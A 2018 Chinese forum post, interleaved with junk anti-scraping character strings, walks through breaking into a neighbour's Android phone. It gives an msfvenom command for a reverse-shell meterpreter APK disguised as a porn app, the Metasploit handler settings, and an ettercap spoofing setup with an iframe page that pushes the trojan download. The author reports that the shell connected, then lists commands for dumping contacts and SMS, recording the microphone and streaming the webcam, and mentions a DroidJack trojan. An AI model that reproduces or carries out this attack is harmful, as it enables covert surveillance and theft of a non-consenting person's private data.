|
* v! H1 t/ @4 ^" X- I. b 五、msf+ettercap入侵邻居安卓手机 ; p, K$ B7 w* [( T2 \3 ]6 {( n
0 q, h9 d, P2 o4 c3 C5 S6 b2 A
5 E0 o& o/ [) x. t. L# m
首先启动msf
# x6 V! C i3 |8 F9 A+ o 6 m: I* t* i7 D6 G
4 W+ I2 o# t& y$ G
先用kali生成一个安卓木马，如下命令： " a+ V& z# j) ?) R
# k& s: p/ E! q. H- u J! e
9 h3 O. p0 V, b7 ], x1 |
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
& {$ n' x1 o C* f( v
3 m7 [& h6 ~" ]( ^9 T- [, {# _1 v; K" M
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 1 _4 j% c2 U8 B" c7 N, \
4 L/ A% A" g& h3 C1 M1 J
% l3 h7 y: V0 r% [; d( `% j 然后进入msf ' F5 }8 ~3 R2 J
& ?3 k, b) f/ }; _
( o- f( U8 L# u9 _5 g# c+ Y
use exploit/multi/handler
- R' H6 R( y3 S! d! A- Y! a" t1 O7 b
6 I# x. J2 f8 `" E2 w: _- ?) \2 O
) `. j M8 }" _1 v+ j, @ set payload android/meterpreter/reverse_tcp
6 X1 D$ p: ? Y( X8 x; w
% Q4 X, j6 L; r
& G7 k# @* F T set LHOST 192.168.0.109 //ip为kaili的ip
4 O; n: S' m; W8 g 2 ?- _5 X3 [0 k1 V# ~6 a, ~" C) N
0 | d4 b# s" x set LPORT 44444 //端口一定要与前面生成的木马的端口一致
0 |- \, Q1 P3 V* } & l. C1 }; w; K0 u
& a( a; Q7 {1 y9 |1 D0 T# f' T4 c7 N
Exploit
4 c' B, t7 P3 h; f6 B2 u 6 y$ ?7 r1 c- O& |3 P
- h) j7 i/ D. A, J$ I, f! [- ]% c8 U
( u' F7 N2 B7 J5 j( o- ? ' a( u D, H" U
! U# c/ X( J6 g; U2 a 下面我们开启ettercap -G Q1 o+ h3 }; }
, Y; D& C* y# D3 R
) P, `# h ]/ q% t' O
我物理IP为
- J: D7 j7 j. z' y8 S; L4 L
& K8 I/ q2 k+ z) L% A u9 l+ v( Y, t4 C, @& T
3 V. [, Z+ _$ }4 T( u$ e
4 j+ ?' b5 k0 f6 Q
( q5 x1 Z: s3 x7 Y X' c 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 5 U9 |1 z, n9 n: A
: x) i& u: W. \) A
0 A4 Y4 p3 Q6 Q. c$ z k 下面我们来设置一下
6 S* E1 I* k! \+ {" N
2 I2 P S* S' Y G# g1 F |+ n
) D/ J; q) k1 \; F  4 v/ B1 {5 P1 j7 b
, R) N+ _! b& f+ | m3 Z
- q9 ` I5 l5 }
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
; O/ `7 k: o* k" }/ |( U- r 0 A$ f: n, `- C, h5 g- e2 {# }
9 `( C9 _0 M5 H- B8 w; y6 U8 e 0 O$ e0 R! J5 S a8 B: d
, ]9 l7 z9 W0 h Z& E6 R; T: J
: ^9 J& b" `& }! I; `" t
; X3 t! Q) L, {! d/ g# h
) m& _2 h; d5 `8 W- w! r/ O$ A4 p2 Y
( p3 I8 i0 Z0 _: P) v5 X
* n" q. ]& a, M; V! I K0 y9 U
( A6 Q7 q& {, f0 C, p7 ]1 ?% C
; ]6 d6 g T; A2 M# Z+ ? 3 W) B" [* C8 l" c. A, J% |' i
W- p0 p2 u9 H! g2 C; s$ p
4 L1 q$ K( G4 q) T" A' s! E# V: }
4 ?7 r. p8 B% ?! O4 [5 d
: T3 [3 {3 F. }$ b& O' c
# _0 e* s. t; B5 V% N5 X
2 @! l; A: q( [, t - v6 L' H+ u( E
! Z' A( _$ }9 v, h% G
4 x% C$ s3 q: c. J% s* L+ l
9 Y: s9 j# O+ W* Z9 ?% @1 _# x, J3 H, N
' X- U5 }1 x6 a% Q
U, |; F. x& z1 h+ j
' l, b" W# M& _5 B+ ]8 V) Z8 N
" E) @* s- x/ c& a4 L I5 N
! ?9 u1 ^* b3 C; z# ] l0 S) W/ T) t) N; ]) Q3 F# o, B
7 Y! s. V/ G4 I: B7 q D
4 ]+ F. s2 c3 b4 S8 X/ V7 c
; a* D) Z. n9 v1 m0 X ( q6 o4 r8 g; r3 i' {& z( r) @; U
/ \& Q* |* @& y
! u# M2 k F/ N! ~6 ^# h
I2 T9 G- U1 b3 I ( g/ @# e: U; y! ^* A
! Z+ d1 T! W; s5 C& @& H; b4 d- b  7 ~1 Z* A% }7 {3 a
# H$ @/ D3 h/ g# `/ a+ N
: ]! \7 |; e) K; v8 L" M4 @6 i7 x 下面我们开始攻击 1 G4 r- M1 M0 y& X! B
5 P$ M1 t7 @6 n
5 R- J, h) s3 d& }( [9 K( }
9 W' T! b4 j O* F2 z; I
% G8 K' h" s' n" R: ?" S+ p
5 T! _: C! x0 |+ z& d 6 P7 G* W$ _0 d
2 j% H7 {/ N- R' z! \) a# [5 \& W
, M$ d7 x: `% \ $ _5 F1 ?, o& x
) f/ z W! o9 `+ q- T( W. v3 ~. f# C* w$ Z4 M
8 J: U1 X. W4 i+ A8 @6 `* N
- A6 |! x7 n5 O I$ `, i7 v; ?( o0 ~% Z
1 h' {9 S; U" `% s7 N
$ O. i+ i+ {! P% P8 {4 [2 [, Y. i
- s" ^4 B' r" y& V, G7 ` 大概过了5分钟多，发现反弹成功了 8 c* r/ @! l8 Y7 l; ^3 p) W
4 [6 M6 v- U* K( ^/ I! |( g/ R, T
6 D" c4 d" H* `3 o: l
$ p8 g$ M- W. V1 B/ l1 k 4 s) i& a4 h4 l# u' v) p6 Q
F# F- I9 B' u @7 @ & N5 J& }$ a2 ?8 g2 a9 Y
8 |% y; |$ U0 b1 |
( R B) _* u* r$ `
, P: p! F3 W+ W+ {$ r
9 m. n% k( g6 O+ X" N( i {
- U& ?% T9 `. X/ \
9 X, B6 b( k- Q- [7 x2 a
9 M9 e. D$ e& Z, Y- ^% `* n( {! T( s
8 A8 R) }) j, z0 j0 Q# Q
+ }( P# |3 U# ]# I# K/ Y" W4 W
$ [3 }* E/ X7 b' Y6 r, { [
- Y' P( p O. L2 C f
7 V! P4 z3 h* }! g% w0 U+ {
2 Z8 r$ I( r, v5 }) f! L d0 O 
) y: ^ t5 ]" w ( B( c' E$ u; }5 k6 R( H# k2 Q
& w3 `' O F( J4 y9 X3 ^) r
执行命令
3 M( n% f* m5 K* a
& f0 k0 E0 U. u, q# J6 n" ~
B( R* k, [: B t+ } 9 R% a! p6 o- `" f9 V' s$ m
) V5 k# B7 e6 g0 W. R3 ~
; Y F L, w* P: D) k( t dump_contacts --》这个是导出电话
5 R5 W1 f- H6 ], u; D
5 R$ X" i; l- m/ q$ R: d% h8 {6 Y! c5 S& @: {) L" C
dump_sms --》这个是导出信息
0 F3 p/ D' D3 |1 P - ]1 z7 t/ N! F6 T" N2 l3 O
1 K( n X; b& m/ L+ k5 V
record_mic Record audio from the default microphone for X seconds
. i0 K5 m# G& p9 M8 S# M6 ? 8 [! E1 v" S( c: q- y; t
. C, K) f( |% r# S7 x6 ]3 K webcam_chat Start a video chat - f# I" m! C6 V" O6 Z7 P" s
' e; a& ^: V! q
* J6 h( U9 o. q# Q1 u& z webcam_list List webcams
! y! Y5 L, j$ G2 |6 G
1 Z" Z0 T; L# V' l2 }
* L1 j" _7 {/ \# r. B' F webcam_snap Take a snapshot from the specified webcam
" G+ ~/ n- Z% n# v! ]/ d! q7 Y0 {7 D: Q
+ }& Y* B& G: \4 S& h) P- c% V. P( H3 j0 b
webcam_stream  lay a video stream from the specified webcam
+ |" v3 K; X# o
: q! B- L. b: n% j G& |' y) V" p1 d5 ~
 1 @5 S& V- o7 h: g1 v/ p
7 W4 S: b" A& @8 a# G- w
) z# z( A, k; H% u) o- Z  8 a$ R: d( y2 M: }3 |6 H& Y) ]0 g
. _# R' i7 _ F6 w: Y$ G9 s
+ i1 [( B( N" t5 j
我们打开看一下电话薄， * X/ i7 w- v$ t( y4 J) b
4 @; j$ \ c% h1 q
1 L. h# n4 k @
7 N5 A B8 @3 ~ ; Y+ m/ \, y% i- M% O& I
( f9 U Y6 l5 u7 j' z
Y5 P6 x4 ~2 I; {* j+ e 2 b& r2 {7 H# O9 r6 E
( x( e* v r# M/ P4 N8 V8 ~
7 k* A! t+ U1 r% z5 R7 L: F % R3 a2 n- P. z+ r# ~( W' O0 T( J
; S- `* b2 x5 M$ `
 , M- l" a2 o) |0 e& ?+ b" D# W
0 @! `: V M- V4 D: Y/ M1 R$ |, G& t
! Y1 h& S" p. \$ l+ N2 B% L & T) N1 `4 |; @% S" e4 p0 h' j
# O! a3 H- b; I' [) S. @8 S* s( V
( a. Y" f* |, ]* B ; Z1 U9 {' f( }' F' F' q
4 {& _1 Y2 V2 |* ^' [3 t: v" J 我们同时欺骗成DroidJack木马，使用方法如图：
2 `* c; B% A% @2 O5 W3 e. t , w0 s' A! P& o: z; c5 q
: ^( i* K5 N" z9 x% L( L. N 
* }# {9 M5 H. y z5 O5 F * T' ?% [' M5 U) E8 B$ k! m
$ X; A' N2 E- s
. T( L7 f4 E( T3 P4 g
9 F4 h2 s. N) r1 s# y5 ^1 G- W. c
0 A) D" i( ]$ N# u" p$ Z8 [ 
7 q8 R. M9 J, w0 [ h5 I$ R. r/ y& s$ I, v- `" b# q
8 x& U5 d! g1 {3 n1 n: x: z) Z 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
" s9 ?/ r; `9 l. ~) n: h) Z/ ? 4 n: O: ?) E4 [7 y; p
$ y1 Q6 P- _# X( q* Q; k4 b& O  ! A s" o; C9 }5 n7 N& v+ j% j
5 D) k* ~1 y: |( R$ {7 ~! ~8 P; B3 q+ }) V
, }4 Q5 J6 d/ F ; l7 Z0 a( A; u# ] `
0 K2 E; U' M2 ~2 ]5 p* w 
f% L# Z$ m9 U1 D8 c
2 c% U* ?+ Y- q9 B9 v2 b& ]6 F. h6 M& J& d- ~3 r" a/ Q
  + A1 w, t- T) w; _- f7 {7 D/ `
% ~( l& m7 R/ d4 W4 P. h& w, }7 D j" w0 |7 z# g
' g0 g, X; L6 L9 A5 a4 R
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对